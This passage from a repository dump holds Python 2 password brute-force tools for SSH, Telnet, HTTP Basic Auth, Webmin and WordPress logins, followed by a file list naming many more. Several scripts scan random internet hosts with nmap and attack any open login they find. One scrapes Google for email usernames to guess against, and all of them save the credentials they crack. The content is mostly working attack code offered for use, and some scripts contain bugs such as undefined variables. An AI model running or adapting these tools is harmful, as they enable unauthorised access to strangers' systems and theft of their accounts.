	sys.exit(1)
else:
	print "\n[+] Found:",len(ips),"ips running SSH"

for ip in ips:
	print "[+] BruteForcing:",ip,"\n"
	for word in words:
		#Change this time if needed
		time.sleep(0.5)
		brute(ip, word.replace("\n",""))
logins.close()
print "\n[-] Done\n"


================================================
FILE: sshbrute_random.py
================================================
#!/usr/bin/python
#SSH BruteForcer that scans for random
#open ssh ports using nmap and then brute 
#forces them.

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import sys, time, StringIO, commands, re

#Set the successful login file.
save_file = "SSH_Logins.txt"
#Set verbose mode: 1=on 0=off
verbose = 1
#Set the user to use.
user = "root"

try:
	import pexpect, pxssh
except(ImportError):
	print "\nYou need the pexpect module."
	print "http://www.noah.org/wiki/Pexpect\n"
	sys.exit(1)
	
def scan():
	args = 'nmap -iR 1 -p 22 -open | grep open -B 3'
	nmap = StringIO.StringIO(commands.getstatusoutput(args)[1]).read()
	ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", nmap)
	if ipaddr:
	    	return ipaddr[0]

def brute(ip, word):
	if verbose != 0:
		print "Trying:",word
     	try:
        	s = pxssh.pxssh()
        	s.login (ip, user, word, login_timeout=10)
        	s.sendline (command)
        	s.prompt()
        	print "\n",s.before
        	s.logout()
		print "\t[!] Login Success:",user, word,"\n"
		logins.writelines("SSH Login:"+ip+":22 "+user+" "+word+"\n")
   	except Exception, e:
        	#print "[-] Failed"
		pass
	except KeyboardInterrupt:
		print "\n[-] Quit\n"
		logins.close()
		sys.exit(1)

print "\n\t   d3hydr8:darkc0de.com sshBrute/Random v1.0"
print "\t----------------------------------------------"
	
if len(sys.argv) != 3:
	print "\nUsage : ./sshbrute_random.py <how many> <wordlist>"
	print "Eg: ./sshbrute_random.py 1000 words.txt\n"
	sys.exit(1)

num = sys.argv[1]
command = 'uname -a'
logins = open(save_file, "a")

try:
	words = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "\n[-] Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n[+] Loaded:",len(words),"words"
print "[+] User:",user
print "[+] Save file:",save_file
if verbose != 0:
	print "[+] Verbose Mode: On"
else:
	print "[+] Verbose Mode: Off"
print "[+] Scanning:",num,"ips\n"

for x in xrange(int(num)):
	print "[-] Scanning:",x+1,"of",num
	ip = scan()
	if ip != None:
		print "\n\t[+] BruteForcing:",ip,"\n"
		for word in words:
			#Change this time if needed
			time.sleep(0.5)
			brute(ip, word.replace("\n",""))
logins.close()
print "\n[-] Done\n"


================================================
FILE: telnetbrute.py
================================================
#!usr/bin/python
#Telnet Brute Forcer
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, telnetlib
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./telnetbrute.py <server> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com TelnetBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"

wordlist = copy(words)

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		print "\nReloading Wordlist - Changing User\n"
		reloader()
		value = random.sample(words,  1)
		users.remove(users[0])
		
	lock.release()
	if len(users) ==1:
		return value[0][:-1], users[0]
	else:
		return value[0][:-1], users[0][:-1]
		
class Worker(threading.Thread):
	
	def run(self):
		value, user = getword()
		try:
			print "-"*12
			print "User:",user,"Password:",value
			tn = telnetlib.Telnet(sys.argv[1])
			tn.read_until("login: ")
			tn.write(user + "\n")
			if password:
					tn.read_until("Password: ")
					tn.write(value + "\n")
			tn.write("ls\n")
			tn.write("exit\n")
			print tn.read_all()
			print "\t\nLogin successful:",value, user
			tn.close()
			work.join()
			sys.exit(2)
		except: 
			pass
 
for i in range(len(words)*len(users)):
	work = Worker()
	work.start()
	time.sleep(1)


================================================
FILE: telnetbrute_iprange.py
================================================
#!usr/bin/python
#Telnet Brute Forcer, searches ip_range for hosts using telnet.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, telnetlib, re
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./telnetbrute.py <ip_range> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com telnetBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)

wordlist = copy(words)

def scan():

	iprange = sys.argv[1]
	ip_list = []
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 23 | grep open -B 3')[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:
	    		ip_list.append(ipaddr[0])
	return ip_list

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0][:-1]
		
class Workhorse(threading.Thread):
	
	def run(self):
		value = getword()
		try:
			print "-"*12
			print "User:",user[:-1],"Password:",value
			tn = telnetlib.Telnet(ip)
			tn.read_until("login: ")
			tn.write(user[:-1] + "\n")
			if password:
					tn.read_until("Password: ")
					tn.write(value + "\n")
			tn.write("ls\n")
			tn.write("exit\n")
			print tn.read_all()
			print "\t\nLogin successful:",value, user[:-1]
			tn.close()
			work.join()
			sys.exit(2)
		except: 
			pass
 
ip_list = scan()
print "[+] Hosts Loaded:",len(ip_list),"\n"
for ip in ip_list:
	print "\n\tAttempting BruteForce:",ip,"\n"
	for user in users:
		for i in range(len(words)):
			if i == 0: reloader()
			work = Workhorse()
			work.start()
			time.sleep(1)


================================================
FILE: telnetbrute_random.py
================================================
#!usr/bin/python
#Uses nmap to check if telnet port is open, brute forces if it is.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, telnetlib, re
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./telnetbrute.py <how many to scan> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com telnetBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1],"hosts"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"

wordlist = copy(words)

def scan():
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 23 | grep open -B 3')[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:    		
			return ipaddr

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		print "Reloading Wordlist\n"
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0][:-1]
		
class Workhorse(threading.Thread):
	
	def run(self):
		value = getword()
		try:
			print "-"*12
			print "User:",user[:-1],"Password:",value
			tn = telnetlib.Telnet(ipaddr[0])
			tn.read_until("login: ")
			tn.write(user[:-1] + "\n")
			if password:
					tn.read_until("Password: ")
					tn.write(value + "\n")
			tn.write("ls\n")
			tn.write("exit\n")
			print tn.read_all()
			print "\t\nLogin successful:",user[:-1], value
			tn.close()
			work.join()
			sys.exit(2)
		except: 
			pass

for x in range(int(sys.argv[1])):
	print "Scanning:",x,"of",sys.argv[1]
	ipaddr = scan()
	if ipaddr != None:
		print "\n\tAttempting BruteForce:",ipaddr[0],"\n"
		for user in users:
			for i in range(len(words)):
				if i == 0: reloader()
				work = Workhorse()
				work.start()
				time.sleep(2)



================================================
FILE: webauthbrute.py
================================================
#!usr/bin/python
#Pop-up Basic Authentication Brute Forcer
#Not fully tested, encourage feedback.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, urllib2, socket, httplib
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./webauthbrute.py <server> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

wordlist = copy(words)

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])		
	else:
		print "\nReloading Wordlist - Changing User\n"
		reloader()
		value = random.sample(words,  1)
		users.remove(users[0])
		
	lock.release()
	if len(users) ==1:
		return users[0], value[0][:-1]
	else:
		return users[0][:-1], value[0][:-1] 

def getauth(url):
	
	req = urllib2.Request(url)
	try:
    		handle = urllib2.urlopen(req)
	except IOError, e:                  
    		pass
	else:                               
    		print "This page isn't protected by basic authentication.\n"
    		sys.exit(1)
    
	if not hasattr(e, 'code') or e.code != 401:                 
    		print "\nThis page isn't protected by basic authentication."
    		print 'But we failed for another reason.\n'
    		sys.exit(1)

	authline = e.headers.get('www-authenticate', '')    
          
	if not authline:
    		print '\nA 401 error without an basic authentication response header - very weird.\n'
    		sys.exit(1)
	else:
		return authline
			
class Worker(threading.Thread):
	
	def run(self):
		username, password = getword()
		try:
			print "-"*12
			print "User:",username,"Password:",password
			req = urllib2.Request(sys.argv[1])
			passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
			passman.add_password(None, sys.argv[1], username, password)
			authhandler = urllib2.HTTPBasicAuthHandler(passman)
			opener = urllib2.build_opener(authhandler)
			fd = opener.open(req)
			print "\t\n\nUsername:",username,"Password:",password,"----- Login successful!!!\n\n"			
			print "Retrieved", fd.geturl()
			info = fd.info()
			for key, value in info.items():
    				print "%s = %s" % (key, value)
			sys.exit(2)
		except (urllib2.HTTPError, httplib.BadStatusLine,socket.error), msg: 
			print "An error occurred:", msg
			pass

print "\n\t   d3hydr8[at]gmail[dot]com webauthBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+]",getauth(sys.argv[1]),"\n"

for i in range(len(words)*len(users)):
	work = Worker()
	work.setDaemon(1)
	work.start()
	time.sleep(1)


================================================
FILE: webauthbrute_random_usersupport.py
================================================
#!usr/bin/python
#Pop-up Basic Authentication Random Brute Forcer + user loopup
#It will scan for 401 authentication, collect users from google, brute force and save 
#successfull logins to a file.
#Not fully tested, encourage feedback.
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, urllib2, httplib, re, socket
from copy import copy

if len(sys.argv) !=6:
	print "\nUsage: ./webauthbrute_random.py <start website> <userlist> <wordlist> <how many> <file to save logins>\n"
	print "Ex: ./webauthbrute_random.py www.busywebsite.com users.txt words.txt 100 logins.txt\n"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

wordlist = copy(words)
hits = 0
logins = 0

def geturls(url):
	
	try:
		print "[+] Collecting:",url
		page = urllib2.urlopen(url).read()
		links = re.findall(('http://\w+.\w+\.\w+[/\w+.]*[/.]\w+'), page)
		for link in links:
			if link not in urls and link[-3:].lower() not in ("gif","jpg","png","ico"):
				urls.append(link)
	except(IOError,TypeError,AttributeError,httplib.BadStatusLine, socket.error): pass
	return urls

def StripTags(text):
     finished = 0
     while not finished:
         finished = 1
         start = text.find("<")
         if start >= 0:
             stop = text[start:].find(">")
             if stop >= 0:
                 text = text[:start] + text[start+stop+1:]
                 finished = 0
     return text

def getusers(domain):
	d={}
	global erase
	page_counter = 0
	try:
    		while page_counter < 50 :
        		results = 'http://groups.google.com/groups?q='+str(domain)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter) + '&sa=N'
        		request = urllib2.Request(results)
        		request.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
        		opener = urllib2.build_opener()                           
        		text = opener.open(request).read()
        		emails = (re.findall('([\w\.\-]+@'+domain+')',StripTags(text)))
        		for email in emails:
            			d[email]=1
            			uniq_emails=d.keys()
        		page_counter +=10
	except(IOError,TypeError,AttributeError,httplib.BadStatusLine,socket.error):
    		print "Can't connect to Google Groups!"+""
		pass
    
	page_counter_web=0
	try:

    		while page_counter_web < 50 :
        		results_web = 'http://www.google.com/search?q=%40'+str(domain)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter_web) + '&sa=N'
        		request_web = urllib2.Request(results_web)
        		request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
        		opener_web = urllib2.build_opener()                           
        		text = opener_web.open(request_web).read()
        		emails_web = (re.findall('([\w\.\-]+@'+domain+')',StripTags(text)))
        		for email_web in emails_web:
            			d[email_web]=1
            			uniq_emails_web=d.keys()
        		page_counter_web +=10
        
	except(IOError,TypeError,AttributeError,httplib.BadStatusLine,socket.error):
    		print "Can't connect to Google Web!"+""
		pass
	print "[+] Found users:",len(d.keys())
	print "[+] Adding users to the list"
	erase = len(d.keys())
	for uniq_emails_web in d.keys():
    		user = uniq_emails_web.rsplit('@',1)[0]
    		users.append(user)
	print "[+]",len(d.keys()),"added"

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])		
	else:
		print "\nReloading Wordlist - Changing User\n"
		reloader()
		value = random.sample(words,  1)
		users.remove(users[0])
		
	lock.release()
	if len(users) ==1:
		return users[0], value[0][:-1]
	else:
		return users[0][:-1], value[0][:-1] 

def getauth(site, users):
	
	print "[-] Checking Authentication:",site
	global hits
	try:
		req = urllib2.Request(site)
		handle = urllib2.urlopen(req)
		if site in urls:
			print "Removing:",site
			urls.remove(site)
	except(IOError,urllib2.URLError,urllib2.HTTPError,httplib.BadStatusLine,socket.error), msg:
			print "\t- Got:",msg,"\n"
			try:
				if hasattr(msg, 'code') or msg.code == 401:
					authline = msg.headers.get('www-authenticate', '')
					if authline:
						print "[+]",authline
						print "[+] Found site using basic authentication"
						domain = site[7:].split("/",3)[0]
						print "[+] Collecting users from Google:",domain,"\n"
						getusers(domain)
						print "[+] Attempting Brute Force on",site,"\n"
						hits +=1
						for i in range(len(words)*len(users)):
							work = threading.Thread()
							work.setDaemon(1)
							work.start()
							threader(site)
							time.sleep(1)
						print len(users)
						print "[+] Removing last collected users\n"
						users = users[:-int(erase)]
						print len(users)
			except(AttributeError):
				pass
	else: 
		print "\t- Got: 200\n"
	
def threader(site):
	username, password = getword()
	global logins
	try:
		print "-"*12
		print "User:",username,"Password:",password
		req = urllib2.Request(site)
		passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
		passman.add_password(None, site, username, password)
		authhandler = urllib2.HTTPBasicAuthHandler(passman)
		opener = urllib2.build_opener(authhandler)
		fd = opener.open(req)
		site = urllib2.urlopen(fd.geturl()).read()
		print "\n[+] Checking the authenticity of the login...\n"
		if not re.search(('denied'), site.lower()):
			print "\t\n\n[+] Username:",username,"Password:",password,"----- Login successful!!!\n\n"
			print "[+] Writing Successful Login:",sys.argv[5],"\n"
			logins +=1
			file = open(sys.argv[5], "a")
			file.writelines("Site: "+site+" Username: "+username+ " Password: "+password+"\n")
			file.close()			
			print "Retrieved", fd.geturl()
			info = fd.info()
			for key, value in info.items():
    				print "%s = %s" % (key, value)
		else: 
			print "- Redirection\n"
	except (urllib2.HTTPError,httplib.BadStatusLine,socket.error), msg: 
		print "An error occurred:", msg
		pass

def giddyup(start):
	if start[:7] != "http://":
		start = "http://"+start	
	urls = geturls(start)
	for x in range(1,int(sys.argv[4])):
		print "- Destination:",x,"of",int(sys.argv[4])
		if len(urls) < 5000:
			urls = geturls(random.choice(urls))
			print "- Collected:",len(urls)
			site = random.choice(urls)
			getauth(site, users)
			for i in range(2,site.count('/')):
				site = site.rpartition('/')[0]
				getauth(site, users)
		else:
			for url in urls[1:2500]:
				urls.remove(url)
			
urls = []
start = sys.argv[1]

print "\n\t d3hydr8[at]gmail[dot]com WebauthBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Starter:",start
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Scanning:",sys.argv[4]
print "[+] Logins File:",sys.argv[5],"\n"

time.sleep(5)
giddyup(start)

while start:
	print "\n\nFound",hits,"sites using basic authentication."
	print "Logins Reported:",logins
	start = raw_input("Enter new starting site or Press enter to exit: ")
	if start: 
		giddyup(start)	
if hits >= 1:
	print "\n\nFound:",hits,"brute forced\n"
if logins >= 1:
	print "Check:",sys.argv[5]	
print "\n[+] Done\n"
	



================================================
FILE: webminbrute.py
================================================
#!usr/bin/python
#Webmin Brute Forcer
#To use this script you need ClientCookie and Client Form.
#http://wwwsearch.sourceforge.net/ClientCookie/src/ClientCookie-1.0.3.tar.gz
#http://wwwsearch.sourceforge.net/ClientForm/src/ClientForm-0.1.17.tar.gz
#To install the package, run the following command:
#python setup.py build
#then (with appropriate permissions)
#python setup.py install
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, socket, httplib, re, urllib2
try:
	sys.path.append('ClientCookie-1.0.3')
	import ClientCookie
	sys.path.append('ClientForm-0.1.17')
	import ClientForm
except(ImportError):
	print "\nTo use this script you need ClientCookie and Client Form."
	print "Read the top intro for instructions.\n"
	sys.exit(1)
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./webminbrute.py <server> <user> <wordlist>"
	sys.exit(1)

try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com WebminBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[1]
print "[+] User:",sys.argv[2]
print "[+] Words Loaded:",len(words),"\n"

headers = ["Mozilla/5.0 (compatible)", "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)", "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)", "Windows-RSS-Platform/1.0 (MSIE 7.0; Windows NT 5.1)", "Windows NT 6.0 (MSIE 7.0)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", "Windows NT 4.0 (MSIE 5.0)", "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2"]

wordlist = copy(words)

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		print "Reloading Wordlist\n"
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0]
		
class Worker(threading.Thread):
	
	def run(self):
		global success
		value = getword()
		try:
			print "-"*12
			print "User:",sys.argv[2],"Password:",value
			cookieJar = ClientCookie.CookieJar()
			opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))
			opener.addheaders = [("User-agent", random.sample(headers,  1)[0])]
			ClientCookie.install_opener(opener)
			fp = ClientCookie.urlopen(sys.argv[1])
			forms = ClientForm.ParseResponse(fp)
			form = forms[0]
			form["user"] = sys.argv[2] 
			form["pass"] = value      
			fp = ClientCookie.urlopen(form.click())
			site = fp.readlines()
			for line in site:
				if re.search("Login failed.", line.lower()) != None:
					print "\tSuccessful Login:", value
					success =  value
					sys.exit(1)
			fp.close()
		except(socket.gaierror, urllib2.HTTPError), msg: 
			print msg 
			pass
 
for i in range(len(words)):
	work = Worker()
	work.start()
	time.sleep(1)
time.sleep(3)
try:
	if success:
		print "\n\n[+] Successful Login:",sys.argv[1]
		print "[+] User:",sys.argv[2]," Password:",success
except(NameError):
	print "\n[+] Couldn't find correct password"
	pass
print "\n[+] Done\n"


================================================
FILE: wordpressbf.py
================================================
#!/usr/bin/python
#WordPress Brute Force (wp-login.php)

#If cookies enabled brute force will not work (yet)
#Change response on line 97 if needed. (language)

#Dork: inurl:wp-login.php

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com 

import urllib2, sys, re, urllib, httplib, socket

print "\n   d3hydr8[at]gmail[dot]com WordPressBF v1.0"
print "----------------------------------------------"

if len(sys.argv) not in [4,5,6,7]:
	print "Usage: ./wordpressbf.py <site> <user> <wordlist> <options>\n"
	print "\t   -p/-proxy <host:port> : Add proxy support"
	print "\t   -v/-verbose : Verbose Mode\n"
	sys.exit(1)
	
for arg in sys.argv[1:]:
	if arg.lower() == "-p" or arg.lower() == "-proxy":
		proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
	if arg.lower() == "-v" or arg.lower() == "-verbose":
		verbose = 1
		
try:
	if proxy:
		print "\n[+] Testing Proxy..."
		h2 = httplib.HTTPConnection(proxy)
		h2.connect()
		print "[+] Proxy:",proxy
except(socket.timeout):
	print "\n[-] Proxy Timed Out"
	proxy = 0
	pass
except(NameError):
	print "\n[-] Proxy Not Given"
	proxy = 0
	pass
except:
	print "\n[-] Proxy Failed"
	proxy = 0
	pass
	
try:
	if verbose == 1:
		print "[+] Verbose Mode On\n"
except(NameError):
	print "[-] Verbose Mode Off\n"
	verbose = 0
	pass
	
if sys.argv[1][:7] != "http://":
	host = "http://"+sys.argv[1]
else:
	host = sys.argv[1]
	
print "[+] BruteForcing:",host
print "[+] User:",sys.argv[2]

try:
  	words = open(sys.argv[3], "r").readlines()
  	print "[+] Words Loaded:",len(words),"\n"
except(IOError): 
  	print "[-] Error: Check your wordlist path\n"
  	sys.exit(1)
  
for word in words:
	word = word.replace("\r","").replace("\n","")
	login_form_seq = [
     	('log', sys.argv[2]),
     	('pwd', word),
     	('rememberme', 'forever'),
     	('wp-submit', 'Login >>'),
		('redirect_to', 'wp-admin/')]
	login_form_data = urllib.urlencode(login_form_seq)
	if proxy != 0:
		proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
		opener = urllib2.build_opener(proxy_handler)
	else:
		opener = urllib2.build_opener()
	try:
		site = opener.open(host, login_form_data).read()
	except(urllib2.URLError), msg:
		print msg
		site = ""
		pass

	if re.search("WordPress requires Cookies",site):
		print "[-] Failed: WordPress has cookies enabled\n"
		sys.exit(1)
		
	#Change this response if different. (language)
	if re.search("<strong>ERROR</strong>",site) and verbose == 1:
		print "[-] Login Failed:",word
	else:
		print "\n\t[!] Login Successfull:",sys.argv[2],word,"\n"
		sys.exit(1)
print "\n[-] Brute Complete\n"
	
Download .txt
gitextract_1xa3ojw4/

├── .gitattributes
├── .gitignore
├── README.md
├── accbrute.py
├── b2evobf.py
├── cPanelbrute.py
├── diggbf.py
├── dnsbrute.py
├── facebookbruteforcer.py
├── friendsterbf.py
├── ftpbrute.py
├── ftpbrute_iprange.py
├── ftpbrute_random.py
├── ftpbrute_random1.0.py
├── gmailbrute.py
├── gmailpopbrute.py
├── imapbrute.py
├── imapbrute_iprange.py
├── imapbrute_random.py
├── linksysbrute.py
├── locbrute.py
├── mysqlbrute.py
├── mysqlbrute_iprange.py
├── mysqlbrute_random.py
├── nntpbrute.py
├── nntpbrute_iprange.py
├── nntpbrute_random.py
├── popbrute.py
├── popbrute_iprange.py
├── popbrute_random.py
├── rootbrute.py
├── serenbf.py
├── smtpbrute.py
├── smtpbrute_iprange.py
├── smtpbrute_random.py
├── snmp_brute.py
├── sshbrute.py
├── sshbrute_fork.py
├── sshbrute_iprange.py
├── sshbrute_random.py
├── telnetbrute.py
├── telnetbrute_iprange.py
├── telnetbrute_random.py
├── webauthbrute.py
├── webauthbrute_random_usersupport.py
├── webminbrute.py
└── wordpressbf.py
Download .txt
SYMBOL INDEX (164 symbols across 38 files)

FILE: accbrute.py
  function brute (line 18) | def brute(word):

FILE: cPanelbrute.py
  function title (line 9) | def title():
  function timer (line 13) | def timer():
  function reloader (line 37) | def reloader():
  function getword (line 41) | def getword():
  function getauth (line 59) | def getauth(url):
  class Worker (line 83) | class Worker(threading.Thread):
    method run (line 85) | def run(self):

FILE: dnsbrute.py
  function reloader (line 26) | def reloader():
  function getword (line 30) | def getword():
  class Worker (line 45) | class Worker(threading.Thread):
    method run (line 47) | def run(self):

FILE: facebookbruteforcer.py
  function helpme (line 94) | def helpme():
  function helpmee (line 101) | def helpmee():
  function bruteforce (line 138) | def bruteforce(word):
  function releaser (line 172) | def releaser():
  function main (line 177) | def main():

FILE: ftpbrute.py
  function reloader (line 50) | def reloader():
  function getword (line 54) | def getword():
  class Worker (line 72) | class Worker(threading.Thread):
    method run (line 74) | def run(self):

FILE: ftpbrute_iprange.py
  function scan (line 34) | def scan():
  function reloader (line 47) | def reloader():
  function getword (line 51) | def getword():
  class Workhorse (line 65) | class Workhorse(threading.Thread):
    method run (line 67) | def run(self):

FILE: ftpbrute_random.py
  function rand (line 13) | def rand():
  function timer (line 21) | def timer():
  function nmapscan (line 25) | def nmapscan():
  function servscan (line 36) | def servscan():
  function workhorse (line 48) | def workhorse(ipaddr, user, word):
  function brute (line 66) | def brute(ipaddr):

FILE: ftpbrute_random1.0.py
  function scan (line 34) | def scan():
  function reloader (line 43) | def reloader():
  function getword (line 47) | def getword():
  class Workhorse (line 62) | class Workhorse(threading.Thread):
    method run (line 64) | def run(self):

FILE: gmailbrute.py
  function reloader (line 44) | def reloader():
  function getword (line 48) | def getword():
  class Worker (line 63) | class Worker(threading.Thread):
    method run (line 65) | def run(self):

FILE: gmailpopbrute.py
  function reloader (line 48) | def reloader():
  function getword (line 52) | def getword():
  class Worker (line 71) | class Worker(threading.Thread):
    method run (line 73) | def run(self):

FILE: imapbrute.py
  function reloader (line 34) | def reloader():
  function getword (line 38) | def getword():
  class Worker (line 56) | class Worker(threading.Thread):
    method run (line 58) | def run(self):

FILE: imapbrute_iprange.py
  function scan (line 34) | def scan():
  function reloader (line 47) | def reloader():
  function getword (line 51) | def getword():
  class Workhorse (line 65) | class Workhorse(threading.Thread):
    method run (line 67) | def run(self):

FILE: imapbrute_random.py
  function scan (line 34) | def scan():
  function reloader (line 43) | def reloader():
  function getword (line 47) | def getword():
  class Workhorse (line 62) | class Workhorse(threading.Thread):
    method run (line 64) | def run(self):

FILE: linksysbrute.py
  function getword (line 20) | def getword():
  function getauth (line 29) | def getauth(url):
  class Worker (line 40) | class Worker(threading.Thread):
    method run (line 42) | def run(self):

FILE: mysqlbrute.py
  function reloader (line 44) | def reloader():
  function getword (line 48) | def getword():
  class Worker (line 66) | class Worker(threading.Thread):
    method run (line 68) | def run(self):

FILE: mysqlbrute_iprange.py
  function scan (line 42) | def scan():
  function reloader (line 55) | def reloader():
  function getword (line 59) | def getword():
  class Workhorse (line 73) | class Workhorse(threading.Thread):
    method run (line 75) | def run(self):

FILE: mysqlbrute_random.py
  function scan (line 36) | def scan():
  function reloader (line 45) | def reloader():
  function getword (line 49) | def getword():
  class Workhorse (line 64) | class Workhorse(threading.Thread):
    method run (line 66) | def run(self):

FILE: nntpbrute.py
  function reloader (line 42) | def reloader():
  function getword (line 46) | def getword():
  class Worker (line 64) | class Worker(threading.Thread):
    method run (line 66) | def run(self):

FILE: nntpbrute_iprange.py
  function scan (line 34) | def scan():
  function reloader (line 47) | def reloader():
  function getword (line 51) | def getword():
  class Workhorse (line 65) | class Workhorse(threading.Thread):
    method run (line 67) | def run(self):

FILE: nntpbrute_random.py
  function scan (line 34) | def scan():
  function reloader (line 43) | def reloader():
  function getword (line 47) | def getword():
  class Workhorse (line 62) | class Workhorse(threading.Thread):
    method run (line 64) | def run(self):

FILE: popbrute.py
  function reloader (line 42) | def reloader():
  function getword (line 46) | def getword():
  class Worker (line 62) | class Worker(threading.Thread):
    method run (line 64) | def run(self):

FILE: popbrute_iprange.py
  function scan (line 33) | def scan():
  function reloader (line 46) | def reloader():
  function getword (line 50) | def getword():
  class Workhorse (line 64) | class Workhorse(threading.Thread):
    method run (line 66) | def run(self):

FILE: popbrute_random.py
  function scan (line 33) | def scan():
  function reloader (line 42) | def reloader():
  function getword (line 46) | def getword():
  class Workhorse (line 61) | class Workhorse(threading.Thread):
    method run (line 63) | def run(self):

FILE: rootbrute.py
  function brute (line 20) | def brute(word):

FILE: smtpbrute.py
  function reloader (line 41) | def reloader():
  function getword (line 45) | def getword():
  class Worker (line 61) | class Worker(threading.Thread):
    method run (line 63) | def run(self):

FILE: smtpbrute_iprange.py
  function scan (line 34) | def scan():
  function reloader (line 47) | def reloader():
  function getword (line 51) | def getword():
